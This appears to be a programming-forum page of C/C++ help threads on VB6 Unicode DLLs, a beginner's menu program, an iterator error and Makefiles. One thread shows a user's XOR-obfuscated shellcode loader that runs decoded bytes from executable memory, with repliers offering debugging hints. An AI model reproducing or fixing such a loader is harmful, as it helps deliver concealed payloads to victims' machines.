|
Yes. The DLL is not a problem since it is compiled with _UNICODE, UNICODE with no problem.
The problem is VB6 translates all DLL calls to ANSI even though it is UNICODE.
|
|
|
|
|
For the VC++ side, make sure you have more than just the pre-processor definition. Check out the Project Properties -> General -> Project Defaults -> Character Set setting too.
For the VB6 side, I'm pretty sure VB6 uses Unicode to store strings internally (going off of memory). But, that doesn't mean the app is Unicode enabled. The VB runtime will most likely convert the string into whatever code page the system is running.
Now, for lower end chars in something like UTF-8 this isn't an issue... BUT... when VC++ says Unicode they mean UTF-16. So there will be a byte alignment issue where the Unicode DLL is treating every two characters as one for your prodId , for instance.
I'm not sure of the error you're getting, but if you're looking to interface VB6 with a DLL, you may be better off using Multibyte Character Set (MBCS)[^]. I haven't verified it, but MBCS is probably closer to what VB6 is doing anyway.
Jeremy Falcon
|
|
|
|
|
Hello everyone. Currently, working on a program however i tried my first two programs using a driver but i still have an error. I'm not sure what the issue is. I'm new to c++ any assistance would be appreciated, Attached is the driver and 1 and 2 program. Thanks.
Driver:
#include <iostream>
using std::cout;
using std::cin;
using std::endl;
#include<cstdlib>
void showMenu();
int getResponse();
int main()
{
int response;
while ( ( response = getResponse() ) != 5 )
{
switch( response )
{
}
system("pause");
}
cout<<"\n\nThank you and have a nice day!\n\n";
return 0;
}
void showMenu()
{
system("cls");
cout<<"***********************************\n";
cout<<"* Press 1 to do multiplication *\n";
cout<<"* Press 2 to play number guessing *\n";
cout<<"* Press 3 to print a square *\n";
cout<<"* Press 4 to calculate payroll *\n";
cout<<"* Press 5 to Quit *\n";
cout<<"***********************************\n";
cout<<"=====> ";
}
int getResponse()
{
int response;
showMenu();
cin>> response;
while( response < 1 || response > 5)
{
showMenu();
cin >> response;
}
return response;
}
1 CASE: MULTIPLICATION
<pre>#include <iostream>
using std::cout;
using std::endl;
using std::cin;
#include <cstdlib>
#include <ctime>
void correctMessage( void );
void incorrectMessage( void );
void multiplication( void );
int main()
{
srand( time( 0 ) );
multiplication();
return 0;
}
void correctMessage( void )
{
switch ( rand() % 4 ) {
case 0:
cout << "Very good!";break;
case 1:
cout << "Very good!";break;
case 2:
cout << "Very good!";break;
case 3:
cout << "Very good!";break;
}
cout << "\n\n";
}
void incorrectMessage( void )
{
switch ( rand() % 4 ) {
case 0:
cout << "No. Please try again.";break;
case 1:
cout << "No. Please try again.";break;
case 2:
cout << "No. Please try again!";break;
case 3:
cout << "No. Please try again!";break;
cout << "\n\n";
}
}
void multiplication( void )
{
int x, y, response = 0;
while ( response != -1 ) {
x = rand() % 10;
y = rand() % 10;
cout << "How much is " << x << " times " << y<< " (-1 to End)? "; cin >> response;
while ( response != -1 && response != x * y ) {
incorrectMessage();
cin >> response;
}
if ( response != -1 ) {
correctMessage();
}
}
return ;
}
CASE 2: GUESS NUMBER
<pre>#include <ps1.h>
#include <iostream>
#include<cstdlib>
int number,guess,m,l;
double low,high,win;
int main()
{
int x=(rand() %1000)+1,guess,t=1;
cout<<" I have a number between 1 and 1000"<<endl;
cout<<" can="" you="" guess="" my="" number?"<<endl;
="" cout<<"="" please="" type="" your="" first="" guess:"<<endl;
cin="">> number;
if(guess<x)
goto low;
else="" if(guess="">x)
goto high;
else if (guess==x)
goto win;
cin>>low;
cout<<" Too Low"<<endl<<t++;
goto low;
cin="">>high;
cout<<" Too high" <
|
|
|
|
|
debby forbes wrote: i tried my first two programs using a driver but i still have an error. Maybe if you explained what the error is, and where it occurs, we could make some suggestions.
|
|
|
|
|
I've fixed you program for you, in order to perform correctly the multiplication case. All the other ones are up to you.
#include <iostream>
using std::cout;
using std::cin;
using std::endl;
#include<cstdlib>
#include <ctime>
void showMenu();
int getResponse();
void correctMessage( );
void incorrectMessage( );
void multiplication( );
int main()
{
int response;
while ( ( response = getResponse() ) != 5 )
{
switch( response )
{
case 1:
multiplication(); cout<<"\n\n";
break;
default:
if ( response < 5)
cout << "sorry, not yet implemented\n\n";
break;
}
}
cout<<"\n\nThank you and have a nice day!\n\n";
return 0;
}
void showMenu()
{
system("cls");
cout<<"***********************************\n";
cout<<"* Press 1 to do multiplication *\n";
cout<<"* Press 2 to play number guessing *\n";
cout<<"* Press 3 to print a square *\n";
cout<<"* Press 4 to calculate payroll *\n";
cout<<"* Press 5 to Quit *\n";
cout<<"***********************************\n";
cout<<"=====> ";
}
int getResponse()
{
int response;
showMenu();
cin>> response;
while( response < 1 || response > 5)
{
showMenu();
cin >> response;
}
return response;
}
void correctMessage( void )
{
cout << "Very good!\n";
}
void incorrectMessage( void )
{
cout << "No. Please try again.\n";
}
void multiplication( void )
{
int x, y, response = 0;
srand( time( 0 ) );
while ( response != -1 )
{
x = rand() % 10;
y = rand() % 10;
cout << "How much is " << x << " times " << y<< " (-1 to End)? "; cin >> response;
while ( response != -1 && response != x * y )
{
incorrectMessage();
cin >> response;
}
if ( response != -1 )
{
correctMessage();
}
}
}
"In testa che avete, Signor di Ceprano?"
-- Rigoletto
|
|
|
|
|
For a month now, I am having a hard time figuring out why the payload isnt working after reversing in decoder2.cpp. The output of the cout from Reverse(input); when inserted into decoder1.cpp is valid and run perfectly. However, parsing the same Reverse(input) to the memcpy and virtualalloc in decoder2.cpp doesn't. I receive this error "Process returned -1073741819 (0xC0000005)"
decoder1.cpp
int main()
{
char input[] = "\xaa\xaa\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89...";
void *exec = VirtualAlloc(0, sizeof input, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, input, sizeof input);
((void(*)())exec)();
return 0;
}
decoder2.cpp
void XORChiper(char orignalString[], int xorKey) {
int len = strlen(orignalString);
for (int i = 0; i < len; i++){
orignalString[i] = orignalString[i] ^ xorKey;
}
}
void Reverse(char name[])
{
int nameLength = strlen(name)-1;
for(int currentChar=0; currentChar < nameLength; --nameLength, ++currentChar)`
{
char temp = name[currentChar];`
name[currentChar] = name[nameLength];
name[nameLength] = temp;
}
}
int main(void)
{
char input[] = "7>[7>[2c[aa[42[77...";
int calc_len = sizeof(input);
int key = 7;
XORChiper(input,key);
Reverse(input);
cout<< input;
void *exec = VirtualAlloc(0, sizeof input, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, input, sizeof input);
((void(*)())exec)();
return 0;
}
modified 20-Oct-22 11:42am.
|
|
|
|
|
The error code means Access Denied. So it probably means that your injected code is trying to read or write an address that you do not own.
|
|
|
|
|
please could show where in the code is causing this issue
|
|
|
|
|
Didn't you debug your code?
|
|
|
|
|
How can I do that? If your code produces errors then use the debugger to find out where they occur.
|
|
|
|
|
i did but not really clear
|
|
|
|
|
And what is "not really clear"?
|
|
|
|
|
please could u tell me where you think is causing this
|
|
|
|
|
Something in your code is causing it. You wrote the code so you are the only person who knows what it is supposed to be doing. So start it in the debugger, single step through it and check every step to see if it is doing what you expect.
|
|
|
|
|
You are working with binary data not null-terminated character strings. Using strlen on that data is bound to give you all kind of nasty surprises.
Mircea
|
|
|
|
|
One thing I do notice is at the following line:
memcpy(exec, input, sizeof input);
If input is changed in any way after calling Reverse then sizeof may not reflect the modified size. Oh, and obviously you have converted it to a string, and not to a sequence of machine code instructions.
|
|
|
|
|
Hi I have the following vector type defined in a class The Class name CStorge
vector<tcbholder> tcbcollecter;
The tcbholder tpye is defined as such
struct tcbholder
{
char* tcb;
char programname[8];
vector <stdecs> strptr;
};
I would like to define an iterator in a thread for which I pass the obj or class pointer
with such
vector <tcbholder>::iterator tcbitrate = storage_ptr->tcbcollecter.begin();
this is the thread prototype type
UINT DialogStorageThread(CStorge *storage_ptr)
However I get he following complier error
76): error C2440: 'initializing': cannot convert from 'std::_Vector_iterator<std::_Vector_val<std::_Simple_types<_Ty>>>' to 'std::_Vector_iterator<std::_Vector_val<std::_Simple_types<_Ty>>>'
1> with
<pre> with
1> [
1> _Ty=CStorge::tcbholder
1> ]
1> and
1> [
1> _Ty=DialogStorageThread::tcbholder
1> ]
IS there any way I can do this ?
thanks
|
|
|
|
|
It looks your are trying to assign apples to oranges (while, unfortunately, fruit polymorphism is not in place ).
You should provide more code in order to get better help.
"In testa che avete, Signor di Ceprano?"
-- Rigoletto
|
|
|
|
|
Hi all, I have the following in a bash script on my debian box, it works perfectly but I would like to configure a Makefile
I run this script from my project folder
g++ Source
|
|
|
|
|
You can use backslashes in the Makefile just the same. If you set all the includes into a macro it simplifies things a bit. Something like:
g++ Source/*.cpp -o callapi \
INCS = -I /home/pjk/vcpkg/packages/cpr_x64-linux/include/cpr \
-I /home/pjk/C++/CallCommandsAPI/Headers/ \
-I /home/pjk/vcpkg/packages/rapidjson_x64-linux/include/ \
-I /home/pjk/vcpkg/packages/cpr_x64-linux/include/
LIBS = -L /home/pjk/vcpkg/packages/cpr_x64-linux/lib/ \
-lcpr -lcurl -lpthread -lssl -lcrypto
SOURCES = <-- add the source names here - callapi.cpp etc.
TARGET: callapi
callapi: $(SOURCES)
g++ Source/*.cpp -o $@ $(INCS) $(LIBS)
You may need to add the Source directory name in front of all the dependency names in the SOURCES macro, in which case the last line could be changed to
g++ $(SOURCES) -o $@ $(INCS) $(LIBS)
This is untested but broadly follows a Makefile I use in Ubuntu.
|
|
|
|
|
Thanks Richard that will certainly get me started, what does -o $@ set the output file to ?
Life should not be a journey to the grave with the intention of arriving safely in a pretty and well-preserved body, but rather to skid in broadside in a cloud of smoke, thoroughly used up, totally worn out, and loudly proclaiming “Wow! What a Ride!" - Hunter S Thompson - RIP
|
|
|
|
|
The $@ is one of the predefined make macros and refers to the target of the build; which should be the output file callapi. I looked at the man page for make on Ubuntu but it seems incomplete. There is (certainly used to be) a section somewhere that gives all the details on Makefile structures.
|
|
|
|
|
With your help I've cobbled this together ( and it works ) thanks again
INCS = -I /home/pjk/C++/CallCommandsAPI/Headers/ \
-I /home/pjk/vcpkg/packages/rapidjson_x64-linux/include/ \
-I /home/pjk/vcpkg/packages/cpr_x64-linux/include/
LIBS = -L /home/pjk/vcpkg/packages/cpr_x64-linux/lib/ \
-lcpr -lcurl -lpthread -lssl -lcrypto
SOURCES = $(wildcard *.cpp */*.cpp)
TARGET: callapi
callapi: $(SOURCES)
g++ $(SOURCES) -o $@ $(INCS) $(LIBS)
clean:
rm callapi
Life should not be a journey to the grave with the intention of arriving safely in a pretty and well-preserved body, but rather to skid in broadside in a cloud of smoke, thoroughly used up, totally worn out, and loudly proclaiming “Wow! What a Ride!" - Hunter S Thompson - RIP
|
|
|
|
|
If you are interested in using the power of make to only compile modified sources that are newer than the target you should be able to do something like this
CPPFLAGS = -I /home/pjk/vcpkg/packages/cpr_x64-linux/include/cpr \
-I /home/pjk/C++/CallCommandsAPI/Headers/ \
-I /home/pjk/vcpkg/packages/rapidjson_x64-linux/include/ \
-I /home/pjk/vcpkg/packages/cpr_x64-linux/include/
LDFLAGS = -L /home/pjk/vcpkg/packages/cpr_x64-linux/lib/ \
-lcpr -lcurl -lpthread -lssl -lcrypto
SRCS = $(wildcard Source/*.cpp)
OBJS = $(SRCS:.cpp=.o)
ifdef DEBUG
CXXFLAGS += -ggdb
LDFLAGS += -ggdb
else
CXXFLAGS += -O2
LDFLAGS += -O2
endif
callapi: $(OBJS)
$(CXX) $(LDFLAGS) $^ -o $@
clean:
rm -f callapi $(OBJS)
I've added clean and debug options to help maintain your code. To make a debug version you do
make DEBUG=1 Note that $CPPFLAGS and $CXXFLAGS are standard make variables and will be expanded when trying to compile the individual object files, without us having to explicitly tell make to do so.
If you don't want the object files mixed in the source directory, look into using $(patsubst) [Text Functions (GNU make)](https://www.gnu.org/software/make/manual/html_node/Text-Functions.html#Text-Functions) and/or other make functions to manipulate targets. With some fancy footwork you could also get debug and production objects built at the same time, but I'll leave that as an exercise for the reader!
Keep Calm and Carry On
|
|
|
|
|
Thanks for this, one question, where is CXX defined ?
Life should not be a journey to the grave with the intention of arriving safely in a pretty and well-preserved body, but rather to skid in broadside in a cloud of smoke, thoroughly used up, totally worn out, and loudly proclaiming “Wow! What a Ride!" - Hunter S Thompson - RIP
|
|
|
|